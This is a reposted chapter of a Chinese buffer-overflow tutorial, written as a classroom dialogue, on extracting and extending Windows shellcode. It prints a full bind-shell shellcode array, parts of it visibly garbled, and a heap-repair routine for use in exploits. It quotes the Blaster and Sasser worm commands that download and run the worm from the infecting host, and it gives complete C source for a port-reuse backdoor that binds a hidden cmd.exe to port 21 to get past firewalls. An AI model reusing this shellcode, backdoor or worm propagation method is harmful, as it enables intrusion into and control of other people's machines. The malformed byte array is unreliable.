6.2 ShellCode的高效提取技巧

 

转自  《Q版缓冲区溢出教程.doc》

http://download.csdn.net/detail/xiancaonima/2589152

本文最后有本doc文档的目录。

 

 

6.2 ShellCode的高效提取技巧

“刚才那个代码你想清楚了吗?聪明才子!”课间时小倩问宇强。
“唉,别这么说嘛,我会不好意思的!”
小倩:“我倒~”
“我跟踪了一下,那个程序的确就是按照老师讲的思路,先找Kernel32.dll的基址,然后用HASH值,在相关dll的引出表中找每个函数的地址。”
“哦,你还厉害嘛!”
“呵呵!剩下的就没什么了,就是我们一般ShellCode的编写方法。具体程序可以看看我整理出来的BindByHASH.cpp。理解时就像老师说的:关键理解思路!”
“哦,等会儿我看看。”
“上课了!”老师在台上说道,大家赶紧坐好。
“大家觉得通用ShellCode怎么样?”
“哇!太厉害了,任何系统版本下都可以使用,这下我们轻松多了。”玉波满意的说。
“呵呵,对大家有帮助就好。”老师笑道。
“通用方法是有了,但是老师,还有更累人的事情啊!还要提取ShellCode呢!”玉波再次问道,“这么长的代码,让我们一个个抄,太不厚道了吧?”
大家都笑了,老师说,“好好好……我们看看如何简单的提取ShellCode吧!”


6.2.1 汇编内存提取

“还是用一个实际例子吧!”老师说,“我们把刚才那个监听后门的通用汇编代码提取成ShellCode。”
“好吧!如果那个程序一句句的对应着抄下来会死人的,好多啊!”
“呵呵,今天我们用个简单的方法吧!在内存里直接拷贝!”
“嗯?如何直接拷贝?”
“我们用VC嵌入汇编,然后按F10进入调试状态,这几步大家都轻车熟路了吧!在真正单步进入我们嵌入的汇编代码时,用前面编写汇编代码时教过的方法调出内存窗口,在内存窗口中输入 eip ,内存窗口就会显示从eip开始的数据。”
“而此时从eip开始的数据,就是我们想要的ShellCode代码,如图6-12。”



“哦?ShellCode开始时是55 83 EC 64,内存窗口里也是55 83 EC 64,真的一样也!”
“那当然,数据又不会从天上掉下来,都是在内存里面的,”老师说,“接下来,我们就可以从内存窗口里拷贝、粘贴。稍微整理一下,然后把空格替换成‘\x’,就轻松得到ShellCode了!”


unsigned char ShellCode[] =
\x55\x83\xEC\x64\x8B\xEC\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B
\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B
\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65
\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7
\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04
\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79\x41\x68\x4C\x69
\x62\x72\x68\x4C\x6F\x61\x64\x54\x57\xFF\x55\x4C\x89\x45\x50\x68
v70\x65\x00\x00\x68\x74\x65\x50\x69\x68\x43\x72\x65\x61\x54\x57
\xFF\x55\x4C\x89\x45\x04\x68\x73\x41\x00\x00\x68\x6F\x63\x65\x73
\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x57\xFF\x55\x4C\x89
\x45\x08\x6A\x65\x68\x64\x50\x69\x70\x68\x4E\x61\x6D\x65\x68\x50
\x65\x65\x6B\x54\x57\xFF\x55\x4C\x89\x45\x0C\x6A\x65\x68\x65\x46
\x69\x6C\x68\x57\x72\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x10\x6A\x\x
\x00\x68\x46\x69\x6C\x65\x68\x52\x65\x61\x64\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x14\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x\x
\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x18\x68\x33\x32\x00\x00\x68\x\x
\x57\x73\x32\x5F\x54\xFF\x55\x50\x8B\xF8\x68\x75\x70\x00\x00\x68\x\x
\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x57\xFF\x55\x4C\x89\x45\x\x
\x1C\x68\x65\x74\x00\x00\x68\x73\x6F\x63\x6B\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x20\x6A\x00\x68\x62\x69\x6E\x64\x54\x57\xFF\x55\x4C\x89\x\x
v45\x24\x68\x65\x6E\x00\x00\x68\x6C\x69\x73\x74\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x28\x68\x70\x74\x00\x00\x68\x61\x63\x63\x65\x54\x57\x\x
\xFF\x55\x4C\x89\x45\x2C\x6A\x00\x68\x73\x65\x6E\x64\x54\x57\xFF\x\x
\x55\x4C\x89\x45\x30\x6A\x00\x68\x72\x65\x63\x76\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x34\xB8\x00\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x\x
\x00\xC6\x45\x40\x00\xC6\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x\x
v01\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x\x
\x6A\x02\xFF\x55\x20\x8B\xD8\x33\xFF\x57\x57\xB8\x02\x00\x03\x3E\x\x
\x50\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x24\x47\x47\x57\x53\xFF\x55\x\x
\x28\x6A\x10\x8D\x3C\x24\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x
\x47\x57\x33\xFF\x57\x6A\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x\x
\x45\x38\x50\xFF\x55\x04\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\x\x
\xFF\x55\x04\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x\x
\x00\x00\x00\x59\xF3\xAB\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x\x
v2C\x8B\x45\x40\x89\x47\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x
\x89\x47\x40\xB8\x63\x6D\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x\x
\x57\x51\x51\x51\x41\x51\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x\x
\x08\x81\xEC\x00\x04\x00\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x\x
\x57\xB8\x00\x04\x00\x00\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x
\x07\x85\xC0\x74\x19\x33\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x
\x55\x14\x33\xC9\x51\xFF\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x\x
\x51\xB8\x00\x04\x00\x00\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x
\x51\x57\xFF\x37\x56\xFF\x75\x44\xFF\x55\x10\xEB\xA4


“用教过的方法测试一下,轻松成功!如图6-13。”




“哇!这么好的方法都不早说!”同学们叫了起来。“我们以前抄的好辛苦啊!”
“呵呵!我是为了大家好,先真正了解系统流程后,再用提高效率的方法。我们再来看一种方法——从EXE文件中提取ShellCode。”


6.2.2 可执行文件提取

“我们得到汇编的程序并测试成功后,就会生成EXE可执行文件。”老师说道,“如果是调试版,会在Debug目录下;如果是发表版,会在Release目录下。如图6-14。”


“我们用任意一款16进制编辑器打开EXE文件。我这里用的是WinHex(光盘有收录),大家可以看到,EXE的开始是4D 5A,就是MZ标志;在C0那排有一个PE标志,如图6-15。”



“我们在EXE文件数据中查找,找到ShellCode的开头,如这里是55 83 EC 64,如图6-16。”




“找到ShellCode的开始数据之后,我们将其复制,粘贴出来,也可轻松完成ShellCode的提取了。”
“哦!真是好方法啊。但定位ShellCode的开始和结束有点麻烦啊!”
“我们可以加入一些标志,比如连续的几个‘0x90’(即NOP)来表示ShellCode的开始和结束。方法是人想出来的,路是人走出来的。”
“好,我们再来看一个更经典的方法——直接利用C语言写程序,然后自动提取打印出ShellCode来。”


6.2.3 C语言直接提取

“直接用C语言来写?”

“嗯, 说全部用C语言来写,也不太准确。”老师说,“应该说是ShellCode部分由汇编和C语言混合编程。汇编部分主要是完成动态定位函数地址,而C语言部 分是完成程序的功能流程。整个程序的本质,就是让编译器为我们生成二进制代码,然后在运行时编码、打印,这样就完成了一个模板。”

“大家联想一下内存提取和可执行文件提取,就会发现这三种提取方法都是类似的——都是直接把二进制代码拷贝出来。”

“哦!”
“给大家解释一下混合编程的结构以及流程思路吧!C语言直接写ShellCode的思路,最早也可从yuange文章中见到,而hume将其发扬光大。”
“混合编程里有4个函数:ShellCodes函数、DecryptSc函数、PrintSc函数和main函数。”
“在ShellCodes函数里面,生成完成功能的ShellCode,采用的是汇编和C语言混合编程。”老师说道,“首先是汇编部分,就是动态获得每个要使用函数的地址;然后用C语言来直接调用函数,完成想要的功能。”

“DecryptSc函数,是生成解码代码decode的部分;”
“PrintSc函数,是直接把合好的ShellCode按16进制数的形式打印出来。”
“而main函数,就是把各个部分组织起来,以自动化的生成ShellCode并打印出来。”
“具 体来说,main函数里面先定义要查找的函数名和所在的模块;然后保存DecryptSc函数生成的decode部分;再把ShellCodes函数生成 的代码进行编码,粘贴在decode后面;最后调用PrintSc函数,把最终完成的ShellCode打印出来。其流程如图6-17。”



“其他几个函数都好理解,关键就是ShellCodes函数代码部分的生成。”
“ShellCodes函数分为两大部分,动态获得函数地址就不说了,我们刚才学了几种方法,都是可以的;而高级语言调用函数的部分,hume采用的是枚举方法执行。”
“函数名称数组和枚举数组对应,增加API时只需在相应的.dll后增加函数名称项,并同步更新Enum的索引。调用API时直接使用 API[_APINAME](param,....param); 即可。像这样:”


API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);


“由此可见,用C语言编写ShellCode需要对代码生成及C编译器行为有更多的了解。有些地方处理起来也不是很省力,不过一旦模板写成,以后写起来或写复杂的ShellCode时,就省力多了。”

“我们来测试一下吧!”大家跃跃欲试。

“程序大家可参看GetShellCodeByC.cpp(光盘有收录)。注意了,我们需要对工程正确的配置才能达到效果。”老师提醒道,“我们要选择release版编译,并去掉优化选项。”

“优化?如何去掉?”
“打开菜单下的‘工程→设置’对话框,在‘C/C++’选项卡下删除‘/02’项,如图6-18。”



“点OK,设置完毕。我们运行,就可弹出测试对话框,并且得到打印好的ShellCode。如图6-19。”



“哇!好方便啊!”
“是啊!大家下来自己测试一下,对应着改变API函数的名称和枚举值,测试完成一下其他的功能。”老师说道。
“好哩!真是太有趣了!”
“大家可要注意整理文档,记下方法。”老师说道,“好记性不如烂笔头,多学多记总有好处的。”

6.3 ShellCode的高级功能

“通用性可以了,提取也方便了。我们现在想给ShellCode添加什么功能就可添加什么功能了。哈哈,太爽了!”玉波说道。
“我们还可在ShellCode里面监听、嗅探、记录密码呢!”古风说。
“我们可以写一个万能的ShellCode啦!”宇强也附和着。
“当然可以,但功能越强,代码就越长。同ShellCode需要尽量短小是矛盾的。”老师比喻道,“就如女生们都想瘦,但穿了太多的衣服,就怎么也瘦不下去了。”
“哦!怪不得有‘要风度不要温度’一说啊!”宇强说这句话时转向旁边的小倩。
“啥嘛!认真听课!”
“但有一些功能是ShellCode里面应该考虑到的,我们讨论几个常用的技巧吧!”


6.3.1 恢复堆链表

“第一个技巧就是恢复堆链表。”
“我们在堆溢出利用时说过,”老师说道,“需要把堆链表进行恢复,才能运行一些ShellCode。”
“恢复的思路就是:找到系统中堆结构的开始地方,把覆盖后的堆块还给系统。”
“在这里,我们没有必要详细讲解Windows的堆结构了。直接给出恢复堆链表处理代码和解释吧!”


//XP edii+74是下一堆块管理结构,如果是Win2000,就是esi+0x4C
mov edx, dword ptr[edi+74]
// 把ebx赋为0x18
push 0x18
pop ebx
// 得到TEB,fs:[18]和fs:[0]都是指向TEB的
mov eax, dword ptr fs:[ebx]
//从TEB+0x30得到PEB
mov eax, dword ptr[eax+0x30]
// PEB+0x18为默认堆地址指针
mov eax, dword ptr[eax+0x18]
//把TotalFreeSize的值给堆管理结构的第一部分size
add al,0x28
mov si, word ptr[eax]
mov word ptr[edx],si
//把堆管理结构第二部分sizeprevious size设成 8
inc edx
inc edx
mov byte ptr[edx],0x08
//设置堆管理结构的其他部分
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
mov byte ptr[edx],0x14
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx

// 堆基址+0x178的地方为FreeLists结构
add ax,0x150
// 让FreeLists[0].Flink和FreeLists[0].Blink都指向堆管理结构
mov dword ptr[eax],edx
mov dword ptr[eax+4],edx
//让堆管理结构也指向FreeLists,完成堆的恢复
mov dword ptr[edx],eax
mov dword ptr[edx+4],eax


“至于Windows堆结构的讲解,以后有机会我们再讲吧!”老师说道,“现在我们直接拿来用。在一般的ShellCode前加上这段代码,就可恢复覆盖掉的堆结构。”


6.3.2 TTP和FTP客户端——冲击波/震荡波传播的实现

“而第二个技巧,就是考虑蠕虫病毒们的传播技巧。”
“Nimda、冲击波以及震荡波蠕虫,都曾给网络带来巨大的破坏,其传播速度之快,除了很多机器系统本身具有漏洞之外,还有个重要的原因:蠕虫具有很强的在网络上自我复制和传输的能力。”
大家都认真的听着。
“我们这里只分析它们的传播方法,不教大家如何写蠕虫病毒!”老师强调说,“让大家知道怎样更好的防范。”
“嗯,知道了,老师接着说吧!”
“Nimda和冲击波在网络上的自我复制和传输,是利用TFTP来实现的;而震荡波,则是进行了改进,用FTP实现的。”
“让 我们来看看TFTP是如何工作的。以下载文件为例,在开始工作时,客户发送一个读请求给服务器,如果请求的文件能被读取,TFTP服务器就返回一个块编号 为1的数据分组;TFTP客户发送一个块编号为1的ACK;TFTP服务器随后发送块编号为2的数据;TFTP客户发回块编号为2的ACK。重复这个过 程,直至这个文件传送完毕。”


小知识:TFTP是基于UDP的,其数据报有四种类型

第一种:客户发出的是读或写请求,含有文件名和模式。操作码是1或2。
第二种:服务器发送的数据,含有块编号和512字节的数据。操作码是3。
第三种:客户发的回应,含有收到的块编号。操作码是4。
第四种:错误信息,含有差错码和差错信息。操作码是5。
其类型如图6-20,我们可据此编写出TFTP的服务器。


“好 了,说了这么多,在Windows中,我们利用现成的TFTP服务程序来实现上传和下载文件是很简单的。TFTPD32.exe是个很好的TFTP服务 器,由Ph.Jounin编写。直接运行TFTPD32.exe,就可建立一个TFTP服务器。可以选择要绑定的IP和目录文件夹,其运行界面如图 6-21。”



“而 TFTP的客户端是Windows自带的。在命令行下直接运行 TFTP –i IP Get (Put) FileName 就可在本机执行TFTP客户端,以供和服务器传输文件。如图6-22,在IP为192.168.1.166的TFTP服务器上下载了一个名为ww.txt 的文件。”



“这招常被黑客使用:他们在自己的主机上建一个TFTP服务器,进入别人的主机后,直接输 tftp –i 自己ip Get (Put) FileName 就可实现文件上传/下载,如下载自己感兴趣的东东,或上传一个木马之类的。”
“然而在Nimda和冲击波等病毒中,它们用的是谁的TFTP服务器呢?肯定不会是用TFTPD32建立的服务器吧!那是谁建的服务器呢?”同学们问道。
“嗯,答案就是:病毒自己!在病毒程序中,自己实现了一个TFTP服务器!”
“哦?”
“冲击波运行时,分成了两个线程。”
“其中一个线程功能是:在本机绑定并监听69端口,建立一个TFTP服务器等待别的机器来连接。如果有其他主机连接这个服务器,则会把msblast.exe文件传送过去。”
“另 一个就是攻击线程。它向其他主机的135端口发送攻击代码——ShellCode,如果其他主机有系统漏洞,就会执行攻击代码。而它的攻击代码是精心构造 的,所完成的功能就是执行 TFTP -i ip GET msblast.exe 去下载冲击波程序,下载完毕后并且执行。”
“哦,冲击波的ShellCode就只是 TFTP -i ip GET msblast.exe 这句话啊?那和我们的ShellCode比起来,差远了也!”古风说道。
“呵呵!是的,通过改ShellCode和覆盖地址,可使它的功能更通用、强大。”老师说道,“我们再来看看震荡波,它是通过FTP来传播的。”
“FTP 和TFTP相比较,功能更加完善,不仅可完成上传和下载文件的功能,还可列出目录,可进行用户名和密码的认证,并且可对文件传送与存储方式进行选择等。在 Windows下,有许多可以建立FTP服务器的软件,比如Serv_U、WP_FTP等,还可安装IIS服务来建立FTP服务器等。”
“震荡波运行时,也是分成了多个线程。其中一个是在本机的5554端口上,产生一个小型的FTP服务器!震荡波就利用这个服务器来向其他有漏洞的主机发送蠕虫本身文件!”
“接 下来,震荡波向其他主机发送攻击代码,如果对方主机有漏洞,则会在9996端口绑定一个Shell,并且会执行以下命令: echo off&echo open [infecting machine's IP] 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get [rand]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&[rand]i_up.exe&echo off&del cmd.ftp&echo on ”
“我 对上面的命令解释一下。大家知道,‘&’前后的命令在DOS下会依次执行。比如 net use ww /add & net localgroup administrators ww /add ,就会先添加一个名为‘ww’的用户,然后再将‘ww’加入管理员组。”
“这里震荡波先使用重定向符号‘>>’向cmd.ftp文件中输入:”


open [infecting machine's IP] 5554 //连接5554端口,即进入小型FTP服务器
anonymous //用户名,为匿名
user //密码
bin //二进制模式
get [rand]_up //接收震荡波蠕虫的文件!!
bye //退出FTP服务器


“然后再用经典的:”

★ftp -s:cmd.ftp //即用cmd.ftp内的参数,执行ftp,完成下载★

“最后执行震荡波蠕虫文件和删除cmd.ftp:”

★[rand]i_up.exe del cmd.ftp★

“这样,就完成了震荡波从一台主机向另一台主机的传播!”
“哦,原来是这样啊!还是比较简单啊!”
“呵呵,大家经过这半期的学习,应该能轻松写出比他们更好的功能吧?”
“嗯,是啊!原来传说中的冲击波/震荡波病毒也没多了不起啊!”古风自信的说。
“老师,你说他们写冲击波/震荡波干嘛?只是传播一下么?对作者什么用处也没有?”玉波问道。
“他们只是想表达一种表现欲!希望别人佩服自己的能力。”老师说道,“大家可千万不要这样啊!这可是违法国家法律的行为。”


6.3.3 突破防火墙

“而第三个技巧,就是考虑如何突破防火墙和一些限制环境了!”
“我们的反连ShellCode不是可以起到突破防火墙的作用吗?”玉波问道。如图6-23。


“是的,但那样需要我们攻击方在公网上,有一个公网的IP地址。如果攻击方在内网,那目标机就反连不上来,这种方式就行不通了,如图6-24。”


“哇!是啊!这种情况下如何突破呢?”宇强也迷糊了。
“呵呵!现在我们既不能从攻击机发起连接,因为会被目标机的防火墙阻断;也不能从目标机发起连接,因为到不了攻击机的内网。”

“啊!岂不是路都堵死了?”小倩说道。
“大家不要在一条路上想死了,要换一个思路。”老师说道。“我们既然可以给远程机器发送攻击代码,那么它们之间应该是连接的!而远程机器间的连接通信一般都是通过Socket来完成的。”

“哦!我们利用原来的连接?”宇强叫了出来。
“对,如果我们的ShellCode可以找到发送攻击代码的那条通路的Socket,就可直接使用以前那个连接Socket,不用再新建端口了!如图-25。”


“哦!很巧妙啊!”台下感叹道。
“另外,服务器总要开些端口,我们也可把Shell的端口开在防火墙打开的端口上。”老师说,“通过端口复用来突破防火墙!”

“比如,对方开放了FTP服务,那么防火墙就需要打开21端口。我们的ShellCode就可复用目标机的21端口,在对方的21端口上绑定一个Shell;而攻击机通过连接21端口来获得Shell。如图6-26。”


“我们来看看复用端口的具体实现吧!程序如下:”


/*
绑定指定21端口,绑定cmd.exe
*/
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <tchar.h>
#include <process.h>
#include <io.h>
#pragma comment(lib, "ws2_32")

int main(int argc, char **argv)
{

//启动winsock
WSAData wsa;
WORD wVersion;
int ret;
wVersion = MAKEWORD(2, 0);
if(WSAStartup(wVersion, &wsa) != 0)
{
return -1;
}
//下面获取本机IP地址
char szHostName[128];
char *pszIp;
HOSTENT *pHost = NULL;
if(gethostname(szHostName, 128)==0)
{
pHost = gethostbyname(szHostName);
if(pHost != NULL)
{
pszIp = inet_ntoa( *(in_addr*)pHost->h_addr_list[0] );
}
else
{
printf("get host ip fail!\n");
return -1;
}
}
else
{
printf("can't find host name!\n");
return -1;
}
//创建服务端套接字
SOCKET ss;
if((ss = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
if(setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//重新绑定,这里重新绑定21端口
SOCKADDR_IN saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(pszIp);
saddr.sin_port = htons(21);
if(bind(ss, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(ss, 2);


//等待连接
SOCKET clientFD;
SOCKADDR_IN caddr;
int nCaddrSzie;
nCaddrSzie = sizeof(caddr);
clientFD = accept(ss, (struct sockaddr *)&caddr,&nCaddrSzie);

//连接之后,就和双管道后门完全一样了
char Buff[1024];
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

/*
解释一下,这段代码创建了一个cmd.exe,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe的标准输入用第二个管道的读句柄替换。如下:
远程主机←入←管道1输出←管道1输入←输出(cmd.exe子进程)
远程主机→输出→管道2输入→管道2输出→输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}

WSACleanup();
return 0;
}


“其实,关键就是下面这句:”
Setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0
“它把套接字‘ss’设为重用,这样就可重新绑定端口了。”
古风说道,“听起来很有意思和用处也!”
“嗯,这门课只懂得原理是远远不够的,实践才是关键。大家下去也亲自测试一下,并考虑提取成ShellCode。”
“好哩!用汇编和C语言直接提取都没问题。”古风摩拳擦掌。
“下次课我们会继续深入讲解漏洞的发现和分析!”
“那些更是我们想知道的东东!好啊!”同学们都欢呼起来。
“今天的课就讲到这里。天气有点冷,大家多注意身体。放学!”


课后解惑

Q:EXE文件里提取出来的ShellCode是一个字节一个字节分开的,如何更高效的自动生成“\x01\x02\x03\x04”的形式呢?
A: 我们可采用替换的方式,把空格直接替换成“\x”;也可把字节粘贴在一个文件中,然后写一个程序,把每个字节加上“\x”标志后打印出来,完成规范化 ShellCode的生成。比如下面这个程序就可读取shellcode.txt文本中的字符,然后生成规范的ShellCode数组:


#include<stdio.h>
int main()
{
FILE *fp;
fp = fopen("ww.txt", "r");

char shellcode[5];
int num = 0;
printf("\"");
while( fscanf(fp, "%s",shellcode) !=EOF )
{
num++;
printf("\\x%s",shellcode);
if(num % 16 == 0)
{
printf("\"\n\"");
}
}
printf("\"\n");
return 0;
}


Q:我们在C语言提取时,要在“工程”设置中去掉“/O2”选项,“/O2”是什么意思?
A:“/O2”表示优化,达到最大化速度。


Q:能讲一下其他的常见编译选项吗?
A:我们结合具体的设置来讲吧!Release版下的设置如图6-27。



在 它的设置选项中,包括/nologo /ML /W3 /GX /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Release/GetShellCodeByC.pch" /YX /Fo"Release/" /Fd"Release/" /FD /c
每一项的具体解释如下:


/ML:与LIBC.LIB链接
/W3:设置警告等级,这里是3
/GX[-]?:启用C++异常处理
/D{=|#}:定义宏
/D "WIN32":定义WIN32,表明是WIN32程序;
/D "NDEBUG":没有调试信息
/D "_CONSOLE":控制台程序
/D "_MBCS":MBCS字集
/Fp:命名预编译头文件
/Fp"Release/GetShellCodeByC.pch":这里预编译头文件为GetShellCodeByC.pch
/YX[file]:自动的.PCH文件
/Fo:命名对象文件
/Fd[file]:命名.PDB文件


而Debug版的设置如图6-28。



可 见选项包括:/nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/GetShellCodeByC.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c
和release版本的差别有:
/MLd:与LIBCD.LIB调试库链接,LIBCD.LIB是调试版本
/Gm[-]:启用最小重新生成
/ZI:启用调试信息的“编辑并继续”功能
/Od:禁用优化


Q:好像有人在命令行下编程,那是如何实现的?
A: 其实VC的本质是一个C/C++编译器,而我们看到的界面,都是上层的东西。VC的编译器程序是\VC98\Bin目录下的cl.exe,我们可在DOS 环境下通过它来编译程序。步骤如下:先运行同目录下的VCVARS32.bat,设置环境变量;然后就可执行cl.exe,如 cl.exe ww.cpp ,就会生成ww.exe。如果有必要,还可加上那些编译选项。


Q:防火墙的技术和实现原理是什么?
A:防 火墙分企业级和个人防火墙两种。企业级的防火墙,实现思路要简单一点。一般的厂商都是利用公开源码的Linux,重编译内核,加上安全选项,裁减加固,再 做个用户界面,就可作为防火墙商品了。而Windows下的个人防火墙,反而还要麻烦一点,涉及到HOOK技术和底层驱动程序的开发。

Q:HASH听起来很熟悉,有什么用处呢?
A:HASH可用于高效查找,而且在数字签名中发挥了重要作用。

 

 

 

 

 

///////////////////////////////////////////////////////////////////////////////////////////////////////////////

 

《Q版缓冲区溢出教程.doc》

 

目录

写在前面 2

目录 4

前言 6

作者简介 6

主要角色简介 6

阅读指南 6

第一章、Windows下堆栈溢出入门 8

1.1 梦,已经展开 8

1.2 啤酒和杯子――缓冲区溢出原理 8

1.3 神秘的Windows系统 10

1.4 ShellCode编写简介 17

1.5 窥豹一斑――本地缓冲区溢出简单利用 21

1.6 小结——摘自小强的日记 28

1.7 首次实战――FoxMail溢出漏洞编写 29

1.8 牛刀小试――Printer溢出漏洞编写 41

1.9 JMP /CALL EBX——另一种溢出利用方式 42

1.10 拾阶而上——IDA/IDQ溢出漏洞编写 55

课后解惑 58

第二章、Windows下ShellCode编写初步 60

2.1 ShellCode是什么? 60

2.2 简单的例子——编写控制台窗口的ShellCode 63

2.3 ShellCode通用性的初步分析 78

2.4 弹出Windows对话框ShellCode的编写 82

2.5 添加用户ShellCode的编写 88

课后解惑 98

第三章、后门的编写和ShellCode的提取 100

3.1 预备知识 101

3.2 后门总体思路 121

3.3 Telnet后门的高级语言实现 125

3.4 生成ShellCode 136

3.5 进一步的探讨 156

3.6 反连后门ShellCode的编写 160

课后解惑 166

第四章 Windows下堆溢出利用编程 168

4.1 堆溢出初探 168

4.2 RtlAllcoateHeap的失误 170

4.3 实例——Message堆溢出漏洞的利用 191

4.4 RtlFreeHeap的失误 197

4.5 堆溢出的其他利用方式 204

4.6 实例——JPEG处理堆溢出漏洞的利用 208

课后解惑 215

第五章 ShellCode变形编码大法 217

5.1 为什么要编码 217

5.2 简单的编码——异或大法 221

5.3 简便的变形——微调法 231

5.4 直接替换法 233

5.5 字符拆分法 239

5.6 内存搜索法 247

5.7 搜索实例——Serv_U漏洞的利用 249

5.8 “计算与你同行”—— Computing & Society 257

课后解惑 258

第六章 ShellCode编写高级技术 260

6.1 通用ShellCode的编写 260

6.2 ShellCode的高效提取技巧 285

6.3 ShellCode的高级功能 294

课后解惑 305

第七章、漏洞的发现、分析和利用 308

7.1 CCProxy 漏洞的分析 308

7.2 黑盒法探测漏洞和Python脚本 319

7.3 白盒法和IDA分析漏洞 333

尾声 347

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章